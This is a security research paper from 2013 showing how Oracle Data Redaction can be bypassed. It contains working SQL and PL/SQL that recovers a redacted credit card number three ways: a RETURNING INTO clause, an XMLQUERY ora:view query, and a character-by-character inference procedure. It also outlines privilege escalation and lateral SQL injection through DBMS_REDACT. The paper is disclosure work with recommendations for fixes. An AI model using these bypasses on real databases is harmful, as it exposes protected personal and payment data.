Oracle Data Redaction is Broken

David Litchfield [david.litchfield@datacom.com.au]

8th November 2013

Introduction

Oracle data redaction is a simple but clever and innovative idea from Oracle. However, at present, there are weaknesses that undermine its effectiveness as a good security mechanism. These weaknesses can be exploited via web based SQL injection attacks and this paper details those weaknesses and provides suggestions on how it can be improved and made more secure.

What is Oracle data redaction?

Oracle data redaction allows you to redact or mask data returned by a query in order to help protect sensitive data, for example credit card details or social security numbers. Redaction doesn't change the data in anyway, rather just how the data is presented to the user. If a user attempts to query a redacted column all they will get is the redacted version of the data. The data can be fully redacted, partially redacted, redacted using regular expressions or even with random data.

Oracle data redaction works by creating a redaction policy on a per column basis using the DBMS_REDACT PL/SQL package. By default only the EXECUTE_CATALOG_ROLE and IMP_FULL_DATABASE roles have the permission to use DBMS_REDACT but in the real world application developers would be given access too in order to protect their data.

Before continuing...

Before examining the weaknesses in Oracle data redaction, let's set up a sample application. We create a simple table called "REDACTIONTEST" with a credit card column called "CC". We then apply a redaction policy to the "CC" column using DBMS_REDACT so the credit card number is returned as 16 Xs:

```
SQL> create table redactiontest (cc varchar(16), id number);

Table created.

SQL> insert into redactiontest (cc, id) values ('4111222233334444',1);

1 row created.

SQL> commit;

Commit complete.

SQL> select cc, id from redactiontest;

CC                       ID
---------------- ----------
4111222233334444          1

SQL> BEGIN
  2  SYS.DBMS_REDACT.ADD_POLICY(
  3  object_schema          => 'C##DAVID',
  4  object_name            => 'REDACTIONTEST',
  5  column_name            => 'CC',
  6  column_description     => '',
  7  policy_name            => 'redact_cc',
  8  policy_description     => 'Redacts the cc column',
  9  function_type          => DBMS_REDACT.REGEXP,
10  regexp_pattern         => DBMS_REDACT.RE_PATTERN_ANY_DIGIT,
11  regexp_replace_string  => 'X',
```

```
12  expression             => '1=1');
13  END;
14  /

PL/SQL procedure successfully completed.

SQL> select cc from redactiontest;

CC
-----------------------------------
XXXXXXXXXXXXXXXX
```

As can be seen our credit card number is no longer readable as it is now redacted.

Gaining access to redacted data

The idea behind Oracle data redaction is to prevent access to sensitive data in specific columns whilst still allowing access to data in other columns for a given table. There are three methods by which an attacker can gain access to redacted data.

The first method uses the RETURNING INTO clause with INSERT, UPDATE and DELETE operations. The RETURNING INTO clause allows data to be returned into a variable after a DML operation. This can be used to bypass Oracle data redaction.

```
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
  2     buffer varchar(30);
  3  BEGIN
  4    UPDATE redactiontest
  5    SET    id = id
  6    WHERE  id = 1
  7    RETURNING cc INTO buffer;
  8    DBMS_OUTPUT.put_line('CC=' || buffer);
  9  END;
10  /
CC=4111222233334444

PL/SQL procedure successfully completed.

SQL>
```

This is simply an oversight on Oracle's part. Whilst they prevent most ways of tricking redaction, for example by using a flashback query or by doing a CREATE TABLE AS SELECT, they simply forgot about RETURNING INTO as a means of gaining access to data.

A second method of bypassing data redaction is by using the XMLQUERY() function. The XMLQUERY() function takes an XQuery expression and returns the results. By passing the redacted table name to the “ora:view” XQuery function a user can return rows from the table and these results are not redacted.

```
SQL> select xmlquery('for $i in ora:view("REDACTIONTEST") return $i'
returning content) from dual;

XMLQUERY('FOR$IINORA:VIEW("REDACTIONTEST")RETURN$I'RETURNINGCONTENT)
```

```
--------------------------------------------------------------------------------
<ROW><CC>4111222233334444</CC><ID>1</ID></ROW><ROW><CC>3998887776665554</CC
><ID>
```

Again, this is just another oversight on Oracle's part.

Another way to gain access to the data is with an *iterative inference* attack. It is possible to access data in a SELECT's WHERE clause. This gives an attacker the opportunity to essentially guess or brute-force the data in a redacted column using a WHERE data LIKE predicate. Consider the following PL/SQL procedure. This simply tests the value of a given character at a given offset into the string. When it gets the first character correct it moves on to the next character and so on until all 16 characters of the credit card have been ascertained.

```
SQL> set serveroutput on
SQL> create or replace procedure p_undoredaction is
  2  buf varchar(40);
  3  t char;
  4  x number;
  5  i number;
  6  c number;
  7  begin
  8  i := 0;
  9  c := 1;
 10  while c < 17 loop
 11     select count(*) into x from redactiontest where
substr(cc,c,1)=to_char(i);
 12     if x > 0 then
 13             c := c+1;
 14             buf := buf || to_char(i);
 15             i := 0;
 16     else
 17             i := i+1;
 18     end if;
 19
 20  end loop;
 21  dbms_output.put_line('CC: ' || buf);
 22  end;
 23  /

Procedure created.

SQL> exec p_undoredaction;
CC: 4111222233334444

PL/SQL procedure successfully completed.

SQL>
```

This type of iterative inference attack is trivial and could be launched via a web based SQL injection flaw.

Escalating privileges using DBMS_REDACT

Anyone with the privileges to execute DBMS_REDACT can create redaction policies on any table in any schema except the SYS schema. As such an attacker can execute code as that user by passing a nefarious function in the "EXPRESSION" clause of DBMS_REDACT. When that owner next queries

the table the attacker's function will execute. An attacker would target users that run background processes where tables are automatically queried such as GSMADMIN_INTERNAL querying the CLOUD table or the APEX user querying the WWV_FLOW_MAIL_QUEUE table.

Use as a lateral SQL injection tool

Due to the fact that it changes the data returned in a query, an attacker could use a redaction policy to exploit a 2nd order SQL injection flaw. Assume there is a PL/SQL package that sanitises input going into the application, then retrieves that same data later. Because it has already been sanistised on the way in the developer may assume that there's no need to check it again and trusts the structure of the data before passing into a dynamic SQL query. By applying a policy to such "trusted" data an attacker could affect a lateral SQL injection attack.

Recommendations

Oracle data redaction could be strengthened firstly by fixing the DML RETURNING INTO and XMLQUERY() bypasses and also by allowing a policy to determine whether a redacted column can be referenced in a WHERE clause. This would prevent the iterative inference attack. A further improvement by Oracle would be to not allow a user to create policies on tables in another schema unless that user is SYS or SYSTEM or has the appropriate ANY privilege. In the interim, only grant the execute privilege to DBMS_REDACT to those users that require it, and once the redaction policies have been put in place revoke their execute privileges. As it stands, Oracle data redaction is a pretty cool feature but cannot be relied on to protect data.